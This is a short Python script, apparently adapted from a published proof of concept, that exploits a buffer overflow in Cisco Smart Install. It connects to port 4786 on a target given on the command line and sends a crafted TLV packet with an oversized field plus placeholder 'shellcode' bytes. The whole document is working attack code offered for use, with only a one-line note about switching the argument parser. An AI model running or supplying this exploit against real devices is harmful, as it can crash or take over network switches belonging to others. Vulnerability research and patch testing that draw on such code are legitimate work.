adaptation https://embedi.com/blog/cisco-smart-install-remote-code-execution/ from optparse module requirement to argparse.

smi_ibc_init_discovery_BoF.py

# smi_ibc_init_discovery_BoF.py

import socket 
import struct
import argparse

def parse_args():
	parser = argparse.ArgumentParser()
	parser.add_argument('-t','--target', help='Smart Install Client', action='store', required=True)
	parser.add_argument('-p','--port', type=int, help='Port of Client', default=4786 )
	return parser.parse_args()

def craft_tlv(t, v, t_fmt='!I', l_fmt='!I'):
    return struct.pack(t_fmt, t) + struct.pack(l_fmt, len(v)) + v

def send_packet(sock, packet):
    sock.send(packet) 

def receive(sock):
    return sock.recv()

if __name__ == "__main__":
	args = parse_args()
	print "[*] Connecting to Smart Install Client ", args.target, "port", args.port
	con = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
	con.connect((args.target, args.port))
	payload = 'BBBB' * 44
	shellcode = 'D' * 2048
	data = 'A' * 36 + struct.pack('!I', len(payload) + len(shellcode) + 40) + payload
	tlv_1 = craft_tlv(0x00000001, data)
	tlv_2 = shellcode
	hdr =  '\x00\x00\x00\x01'                                   # msg_from
	hdr += '\x00\x00\x00\x01'                                   # version
	hdr += '\x00\x00\x00\x07'                                   # msg_hdr_type
	hdr += struct.pack('>I', len(data))                         # data_length
	pkt = hdr + tlv_1 + tlv_2
	print "[*] Send a malicious packet"
	send_packet(con, pkt)